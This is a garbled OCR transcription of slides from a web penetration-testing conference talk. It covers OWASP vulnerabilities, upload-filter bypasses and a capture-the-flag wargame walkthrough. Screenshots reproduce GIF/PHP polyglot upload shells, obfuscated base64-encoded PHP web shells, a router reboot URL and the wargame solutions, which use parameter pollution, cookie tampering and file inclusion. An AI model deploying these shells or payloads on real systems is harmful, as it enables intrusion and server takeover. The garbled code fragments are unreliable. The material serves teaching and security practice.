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Disclaimer

* This presentation represent my personal

thoughts, and not of my employers nor clients.

~— o All research are conducted for educational
purpose only.

* If you get in trouble after this session | can’t help
you. Your irresponsibility is not in my concern. -~




7' 43 Today we will ...
Talk about penetration testing everyday situations

|« Make quik overview of common web application
vulnerabilities and really funny developer ideas

E e Remember some old technics and meet few very
creative and new

* See what “malicious pentester” do when find
vulnerability in old web applications

* Find out how to get paid for long nights and red
oulls :)

* Play WARGAME with new levels




Pentesting Web Applications

o P
o OSINT / Google Hacking _

N

o Passive analysis

—

~ o Automated analysis
o Social Engineering




My toolbox

Proxy (BurpSuite)

* Fuzzers (DirBuster, DFF Scanner)
DB Exploatation => SQLMAP

Ej * Vulnerability scanners (Skipfish, Nikto, BurpSuite,
w3af, IBM Rational AppScan, Acunetix)

* Firefox with plugins!

* Custom scripting rulez
(html, js, php, python, ruby, perl, C, bash, powershell, asp,...)




Firefox +{Plugins

g
" * Web Developer
* Tamper Data

—

* Proxy Switcher
e Live HTTP headers
e RESTClient

* ScreenGrabber, Colorzilla, Greasemonkey,
User Agent Switcher, XSS ME, ... g




OWASP Top 10 — 2010 (Previous)

OWASP Top 10 — 2013 (New)

Al - Injection

Al - Injection

A3 — Broken Authentication and Session Management

A2 - Broken Authentication and Session Management

A2 — Cross-Site Scripting (XSS)

A3 — Cross-Site Scripting (XSS)

A4 - Insecure Direct Object References

A4 - Insecure Direct Object References

A6 — Security Misconfiguration

A5 — Security Misconfiguration

A7 - Insecure Cryptographic Storage — Merged with A9 2>

A6 — Sensitive Data Exposure

A8 — Failure to Restrict URL Access — Broadened into 2

A7 — Missing Function Level Access Control

A5 — Cross-Site Request Forgery (CSRF)

A8 — Cross-Site Request Forgery (CSRF)

<buried in A6: Security Misconfiguration>

A9 — Using Known Vulnerable Components

A10 — Unvalidated Redirects and Forwards

A10 — Unvalidated Redirects and Forwards

A9 — Insufficient Transport Layer Protection

Local chapter: https://www.owasp.org/index.php/Serb

Merged with 2010-A7 into new 2013-A6

A 4
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¥ More interesting staff:
N

g ° Blind SdLihjection (SQLMap)

HTTP parameter pollution & contamination
* Upload forms failure to failure (gif2php)

* Living dead VB script

* Document Properties

e HTTP QUERIES, few funny ones :)




Link: https://www.owasp.org/images/b/ba/AppsecEUQ09_CarettoniDiPaola_v0.8.pdf

* HPC POC:
http://website.tld/index.php?a[=1
a="7"

Link: http://www.exploit-db.com/wp-content/themes/exploit/docs/17534.pdf
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HPP & HPC / MS EXAMPLE

https://www.microsoft-careers.com/search

E?g=test&q=test
?g.=test&q=123
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Upload forms failure to failure

= . P X U

- UPLOAD RESTRICTIONS:
A _ MIME TYPE
E — FILE EXTENSION

—

What about content review?
Or “polymorphic” files?




| ifz),hp

_ A
(=) tirt1.git php £3 | B 18 o 3 | B s o 3]

1 GIF89a u
2 <?php Beopy(§ FILES[file] [tmp_name] , § FILES[file] [name]):; exit; 2>

‘\f &’ C:\xampp'htdocs'bezobrazni2'stories’ tt8.gif - Notepad++
File Edit Search View Encoding Language Settings Macro Run  Plugins Window 7

/_ e = L =RE o@‘*@ﬂﬁ”:ﬂ‘ﬂbﬁ‘ 2 3 :—‘A"“#j_“‘

B tir 1 gif php 3 [=) 48.gif E]l sus. php -J-l
1 GIF89aG
2 <? system() ;exit; ?>-l

I
d"

g’ C:'xampp'htdocs'bezobrazni2'stories' sus.php - Notepad++

File Edit Search VYiew Encoding Language Settings Macro Run  Plugins Window 7

cHHE 5 B dmlv|DC || 2 s
B8 tir1 1 qgif php ,.:I B e af 0 =] sus.php Eil

- - seess )
L poodes< I} |

1 GIF89aG
2 <?php eval ("?>".baset4 decode |

"PDOwaHANCmVycmSvX3d 1ol




Living dead VB script

= W
g ° Not so common this days but very popular in

old banking managed windows networks :)

* Nice tool to be used for exploatation of
Internet Explorer users trough social
engeneering attacks

* Not forget about it! E




Document Properties

Document from websites can provide you very

usefull informations about your target:

versions of application and files, people names,
emails, network addresses, printers, comments,

Forensic FOCA, HTTrack Website Copier

~—

&

Custom scripting!



Document Properties

Ej In one old research | use only HTTrack and two
custom wroted scripts in power shell to get a
bunch of interesting informations about banks
in Serbia :D




Document Properties

o e | - .
Verzije PDF dokumenata

1% 0% o9

1%

W PDF-1.0
W PDF-1.2
®PDF-1.3
mPDF-14
mPDF-15
W PDF-1.6
® PDF-1.7

® PDF-2.? i

_—

http://security-net.biz/files/Napad-na-atribute-online-dokumenata-%5Bprimer-banke-  ~__

u-Srbiji%5D_Ivan-Markovic-NSS.pdf
TR VWY



HTTP QUERIES, QUERIES :)

* Public directory listing on website of one of

. biggest company in Serbia:
E nttp://www.site.rs/anydir?.listing

* Public debug functions in News Publishing
application from Serbia:

http://www.site.rs/anyfile?&debug




Public secret

o SN - -8

Everyone know that Serbian
B2 web sites are not very
popular for hackers and their

bussiness? XSS and CSRF are
not marked red?




More fun info :)

oo 8
 KEYLOGGER on web presentation on one of

banks in Serbia! (Year 2010)

</style>

<1link rel="stylesheet®™ href= type="text/css3" media="print" charset="windows-1250" />
script type="text/javascript" src="http:/ . r3/takbking.js"></script>

m
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Opening Windows-KB873548-x86-

RPN A

T Y e A A I T LY BRGSO Y Vb
crigcal vuinerapiity in windows XP. Vista

i

You have chosen to open
» 1 Windows-KB873548-x8¢
which is a: Binary File

Would you like to save this file?




More fun info :)

> p 8
e XXX content on “MB Brewery” in Serbia:




More fun info :)

 Serbian Telekom ADSL ruter Authentication

Bypass + CSRF = DoS :D

=

~ e« http://PUBLIC IP OF USER/rebootinfo.cgi

 POC: Huawei HG510 (Year 2010 and still work)

For more details: http://www.routerpwn.com/



http://public_ip_of_user/rebootinfo.cgi

\\‘ -

£ 192.168.190.222 - N3t - Mozilla Firefox
File Edit ‘“iew History Bookmarks Tools Help

#'192,168.190.222 - N3t | +

[EE=E |

& 192.168.190.222/be:

Software: Apachef2.4.4 {(Win32) OpenSSL/0.9.8y PHP/5.4.16

uname -a: Windows NT TENAK-579FBEED3 5.1 build 2600 {Windows XP Professional Service Pack 3) i586
Administrator
Safe-mode:

Free 12.66 GB of 24.99 GB (50.65%)
Detected drives:

A - =B @&

Owned by Spyn3t

Listing folder (3 files and 2 folders):

[=
j| ©
El

LINK 7.08.2013 22:
LINK 09,2013

DIR 7.08.2013

DIR 09,2013

25.22 KB 20.08.2013 21:43:
2.78 7.05.2012

- E-2-2-R-B-B- iy
¥ eNEEEN

index.php 1
[ 967 B ’0.08.2013 21:

| selectall | | unselect all | | with selected:—!“ Confirm |




File Edit Search View Encoding Language Settings Macro Run  Plugins Window ?

| cOEE s B s4mD|oe(nh| ¢z |B251[FOEDEE B E|ks-
|=] index.php BI

1

El<?php

ini_set ("memory limit","256M");
ini_set ('max_execution time', 3000);
ini_set ("post_max_size","256H"):;
ini_set ('max_input_time', 3000);

/* WARNING: This file is protected by copyright law. To reverse engineer or decode this file is strictly proh

gAAYEIpZHNuaGlY¥¥n9udHOLw
W KDWI1dWTh1WHYid2gK41i8AEBD IuP LolR

zAdXINo:
CNhD+Bm2

2 hw¥nUAACS0cVOc3

(PID1gwlJmSOHF iv IwvQD
S MWHCDEBcmkH4F hOcnVr FgE AwGRoaG:
lyZrsnVFIJVHABLCgOJOBNhDPEYZnd zaGFuaZ t YAc ZuallRrerNiC+AzcQRX TENALEES
U MSTNDwnwKE QRygDPEiLpAnLO
rog G+ gl y Eop 104 s b ARRaWJi¥2t iLkCDN 3aDUwBxIqwisjiclUs

DhZaBnQCryHROJYFc jHDLWUHI } Chil9zamt0dZ2 JkbgPiZmtkb UEhKEBV
sB1AHFewi WHNOLisk ] @ agKCol 3 S FMnRRKVIUG
=] AkA ] B Gl iewlAKM1J
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More backdoors on web servers

&) B-F Config_cPanel - Mozilla Firefox i - 101 x|
File Edit View History Bookmarks Tools Help

‘ " & Connecting... - l il
€& @ 192.168.190.222/bezobrazniz B-F.php x | {B~ Google Pl &

B-F Config_cPanel

http://www. Start >

|| Idea :: Mr.Alsa3ek || Programming :: G-B || Designer :: Al-Swisre ||

‘Waiting for 192,168,190,222...




File Edit Search View Encoding Language Settings Macro Run  Plugins Window ?

| o HE 5 s £$| *’Eki'h‘ = C:]ﬁﬂ Ba , 2 3 :!‘7?|E€;

B index phptd [=B-F.php E3 I

1 <?php /* || Idea :: Mr.Alsa3ek || Prograwming :: G-B || Designer :: Al-Swisre || */$000000000=urldecode('%66%
$000000000=4000000000¢{ 4} . $000000000{ 2} . $§000000000{ 5} . $§000000000{ 5} ; §000000000.=§0000000004 2} . §0000000004 10} . §
} . $000000000¢ 11} .$000000000¢{ 12} .$000000000{ 7} . $000000000{ 5} ; $000000000=§000000000{ 0} . $000000000{ 12} . $00000000
$000000000{0} . $§000000000¢{ 1} . §000000000{ 5} . $000000000{ 14} ; $§000000000=§000000000. §000000000{ 11} ; §000000000=§00C
$000000000{ 5} . $§000000000{ 5} . $000000000{ =} . $§000000000{ 15} ; $§000000000=$000000000{ =} . $§000000000{ 14} . §000000000{5
$000000000=0x107c; eval ($000000000 |
' JEBwMDEPMESwWHDORTOSPMD AwTz AwKCRPTOSwTZzEPHMD A
AsMHgxNZ2MpLCdFbnR1lcenl FIIWUOCOVOSVVEF hOmJDY0
3R1dnd4eXowMTIzNDUZNzgSKyS ; 3=1)) ;return; 2>
~Dkr9HHenNHenHHelzfukgFMaXdoyjcUImb190oUAxyb18mR twmsrJ 4L TO09HHY 8XTzEXRIwmtJ XL TO09HHeEXHr 8Xht ONT08XHeEXHr 8Pkr 8XTzE
vkwBAsKa09aaryiWMke COOLOMcucO0lpUMpHdrlsaunOFa¥YzamcCGyp6Her ZHZW1Y JF4KUSYHUF SKOytW0O0yOLfwUApRTr1KT1n0A1YAaachBy
hULpK2cjdo9zcUILTZEXHr 8XTzEXhTs1fMySht ONTZEXTzZEXTzZEpKX==tm¥Y1fy90DB11h2xpdBl0heEpKXpl1FmkvF19ZchnvrFmOpdMFPHtL7t
mEbkSK107tml1duY1GXPLEbKkSwe0IKk21i0fuE6RZ93E£3FVkzShyWplC2ivwtF8wAONW10cArAIUy0Y¥Te4hNoi0dBX+tjxPcByLNIP8fol0doA+
a4ft9jF3HUHNIPhCMILGhShwtEIdByZc21VwePICha0dzShwtEICMyjD2fZd3aVet1jd2xvFjPjcj cMYMC2KXP Iwtnj d2xvFjPIwzHzKTL 5KTS
uajPB0iwofZCBSLcUXIChkpCBXSwoilduclfoljCUXIF2yVFZ1zchkpej ShwtEIcMOVEL IMCBlpdul 6wer0Ful7tJEIwu016uWsCBxpc246wo
foadfoyZcBrSF2aScBY0OGXpMd250RbE£1DBfPfePICM9SceShC29Sd3wewt HXHeEXHeE7tMkvFMO1F jPIHbndwuYvdolLwtYeW0YeWOH7tMkiC
1FJ1ZCBOpfbH6wefXGeShgWPhDBSXEbW6cMIjfhY 7t IPICM94RhYPCBOY£ZP THundwenXGtE1FulIwzEXKACS50j ShtmOhw2cvd301FJEIGXPh
YPCBOvfzPTHundwenXGtExXFulIwzEXHeEXHeShcM9VEt13cBIlmDuW6wo SvFMlideShgWpiGXPIwvu0lGuWscoajd3kifolvdjPIdM9VceTShwtin
IXLDPbhCIDBWOwmOv d2XJHIP8UerIF305doASwMYvdo9ZKIE] YeW0YeWOKZn0chiORhYPCBOY£zP THundwenXGtExFul IwzEXHeEXHtw7foadft
d3kswollfoivceOJAr9Tatw+tjxpdmnlf tnVCB11NUK1FMXJwu05F oA%vmO1lGuWdvwucidual HUwmRIO1FMXVKZwIF 21 6cTOJYeEJwt 8+t jxpd

DEE|E G B |28

hhCgkTI

yiDtimch0gcoyO0CUILEbKShUniFZELDBSMAZ17tM1Mhoxvc21VhtOpdMcyBznfRt OpdMcyBzyfhUl7tMajDo8 IwjxJwuY0GBX1IHUFIC29Sd3w
eIXweSmH1SgbUnaF2aZdMyscUEMwyniF3Y¥Y3d3kLweP8R2w+wtE8CInzful ScTOmroYvdo9ZKJEjHeEXHrcoweSIfoadft1zDoyLd3F 6Hundwe;
cTOmroYvdo9ZKIEJWOHXHeEXKZn0chiORbYPCBOvfzPXFul THundweyXGtEJWOHXHeEXKZF+BZ0pdMcvBzyfhTXv Cj 48 Cmw IRZ4JKXPLCUS 4K
16uWsF2iico93KinXGtEXFulTHbndwtH4He IXKeEIKZF+HoiZHJ0iwrYXCB51ldtnod3aVcoalRjxJFJEvHIw7 tmOhgWplC2ivwtF8CmrIRZ 4§
rIKJPIThwVWBxzCTY1DZn8gtnWFMOMFMysdB1VcZE6KInuRAwIguXI0oazDBEfVchwIKjPIWBXsA3LpF 3klwvux8weXvcol2HIP8S8R20pLfj48R2K
J016unSd201lwe0IchiXdo9LcUILCUXLfoadftL7tJ016unSd201we0IchiXdo9LcUILCIXLchiXdo9LcaSxhUL7tmklfuaZdJELchiXdo9Lca
Wol5F3ySh2Y¥vdM51C3WPK2xvr C2ySDo9zf tFSkuazchwSkuniF3HpKXppcd ILCZ17tM15F3ySh2YSd3¥1ht 0jJhTShFMa0fhkVwu0ZfBA7 tml1

vFM0+NokZwt 8+NokZwt 8+kzShDBCPDhYzchWPKyIWT1YABZEf 1 FMXmhULpGXppcdIicM1Sca9mech0gC29VfoaVfuHPkuaZdtLpGXplC2ivwtfy
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More backdoors on web servers

&) .:Predator::. - Mozilla Firefox
Edit View History Bookmarks Tools Help

‘' .iiPredator::,

192.168.190.22

.:h0ld-up-team::.
weh-shell

Volume in drive C has no label.
Volume Serial Number is COO07-BEEZ

Directory of C:\xampphhtdocsibezobrazni2

09/05/2013 05:49 PN <DIR>

09/05/2013 05:49 PN <DIR> ..

08/27/2013 05:56 58,222 0d4y.php

08/27/2013 04:31 PM 432 3xp.php Eeadfile [iietoipassnd s
08/21/2013 06:10 5,828 B-F.php

08/20/2013 09:43 PN 25,829 index.htm

05/27/2012 11:13 PH 105,249 index.php

08/20/2013 09:43 967 login.php

08/27/2013 04:17 PN s




File Edit Search View Encoding Language Settings Macro Run Plugins Window ?

JHE 3 B|smhk(dean| 2 B35 1E0ENEEEB S|

=) 0ddy.php 3]

1

GIF89al
<?php eval(' -base64_decode (
|' RO1GOD 1hMSBHSUY4OWEX TAOKPD S waHANC iRhdXRo IDOgMDs OEDQoNCrmluaV oInN1c3Np

c2FmZIVoth X7DQoKbFLZTO10 MzR1YTU1ZDEiODJ jHM2 ZTgwlDAzYTgOY ) Y4NjUi0yvAgICAc

JsgICAGICS
FUVEhEVVNFUiddKs
¥Y2N1c3NcIiIpO

WSrKCREUODY

II'II"EIZ_I".*'TITE-I‘u:i.. pem‘u"kl ik7DQog 31eGl0K \ gRGY WWEkIik?
TDOplY2hvwICIS: aXBOPmF DK s THN jcralwdCE3 ¥
G1idCRNCnsNCmlnbms ibh3J0 I{I.'Ep'_mr!_l}i RphiVEhGltaZ
CdkallOamsuy¥

GVhZGYyKCJIIVFROL zEulMC
7ATOQ1JJUFRERKIMRUSETUUY

291bn0OgPs
QhIik7DQpSDOpry
zRFFvallUwaEZURXc S5 WkSalNF ZNHZ Zh UZ6 YUNBAGF TSTAE
1pYUTAEUWSr YOhKcdmRHOWp iMne SWIJWHGNISnZkRz1pZVels
IpEWVe1HME IHTn1aVoOYwillNCenIyTndaWFd j Yol JNORRecHpaWF
ZUbD IRVDFEVUXFhESRVVIFVIwSQL BLUOI4ZKN ZF
ERUMDVR
dzBLY JNChGJIpQlRWRVIKVGI: 1ZTRMNEC
JISnBib1FnUTAST1IRpQWIRE ZENChGY TRIEF i
Z2phVzVgYRhWalpTQThiM1J5¥ Ve 1b
cOAWFENESDaUSw¥mlOc2 RE¥UnxJRHhs
aa033 MELJROSVIVh]

G11ldGhvZCKNCnsNCiRw
ZOVVIVNUZVRT1TVEQuwalF T
ZMNCkpsT1BERMHRVTFST

Z2Je0

3 ID0gIK1S WESS
hiHNS WF Rz TRNuVnpalDJUY .
DSMGIyTnZiQ2tnZkh3Z1pHbG

dVZ1BITiEaR
GRDNWSQZzBLETIsdVRyeDFaR1VnUEC 1 b GRH0HVANFFZ
:05DbnNnSUEwS0 1HbHVKQOJ 6 =
yINCHNO1IBEMEC IS
ZEQVAUNybHVYMEZr WRhJ AWM OWhaR1J
SUdshUCDRnpiMkSylimiReE 1 ICmx jhkp
S1RzTRNpOnNhWE4uwilcObZ MyOlphM1pr TENEHN

Z11uVr




¥  Bounty programs
ol el

wwW.ehackingnews.com/2012/12/list-
of-bug-bounty-program-for.htm|

* (Google, PayPal, Adobe, Mozilla, Facebook, ...)

* And one from Serbia:
https://managewp.com/white-hat-reward




<pre>

Everything is about to access main frame. You are starting from this old forgotten login page with dirty fixes.
Find a way into support administrator console.

</pre> HTML SOURCE

SGkgTmFOZ . 29ya3Mu —-> </ td>]

. CoaV V. TMIEBhermFErvuBhemil
e SGKgL LsSwgvvuMinoncocmr teyoncmu

</tr>

— Decripted (base64): “Hi Nate, URL params are still works.”
— Bingo: http://wargame.balccon.org/index.php?admin=1

S




War

me

Welcome to old support console :)

=1

I

L
o

- i
-

i—e

eleie

- L = I &
» “Jang

Submit Query

[

ig

10G:21.83.2801] Only available live system is 18.4.55.2 22

| - gy

i
I

] Last working command was: ssh 18.4.55.2

Bingo (HPP):
http://wargame.balccon.org/index.php?cmd=ssh+ —

10&cmd=4&cmd=55&cmd=2

TR (% T



<table width="100%">
<tbody><tr>
<td align="1left" valign="top">

— <pre>Something is broken ... S5H connection redirect us on WWW port.
You are looking now trough internet browser eyes.
</pre>

)

N {

(8]
A1)

29vaz2ll101BAocm8sZS5vgdXN1lcik= —-> </td>

<L B
</tbody></table>

S

I
|

<table width="100%">

Bingo: Decrypted (Cookie: (role, user)) => role =
admin

|

I &



0ld web applications forgoted by administrators ... now we must fix it.

"y
'I
L
L]
-

H
—
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L X ]
@
il
N

Undefined index: file
include(): Failed opening ".td' for inclusion (include_path="../lib/php"'}
Undefined variable: switch

1
L

Bingo: DirBuster =>
http://wargame.balccon.org/public/target.txt

http://wargame.balccon.org/index.php?file=public
[target

B TR



Wargarne

R hitp://wargame.balccon.org/public/target.txt
~ <?php Sswitch = S_GET['switch']; ?>

BINGO:

http://wargame.balccon.org/index.php?file=public/target&switch=1




_—

Wargarne

. LeveIS:

http://wargame.balccon.org/public/manual.txt

SRFI->Load->Remote(return [FUNC]) use content from remote
source as code [FUNC].

For remote calls please use RFI POST variable.

S ——
-
.



Wargarne

BINGO (OR ANY REMOTE FILE with that content):
http://wargame.balccon.org/public/loadAllFunctions.dat

loadAllFunctions

HTTP POST: http://wargame.balccon.org/
?RFI=http://wargame.balccon.org/public/loadAllFuncti

ons.dat

S ——
-
=



Checkpoint ;) Please wait to load more ideas.

Balccon crew will contact you. Thanks!

l
L] 'I-l'l |




Wargame / Press Start

o Sy - -8

New Levels
http://wargame.balccon.org/




ivanm@security-net.biz

"If you think you are too small to make a difference, e
try sleeping with a mosquito.”" - Dalai Lama XIV




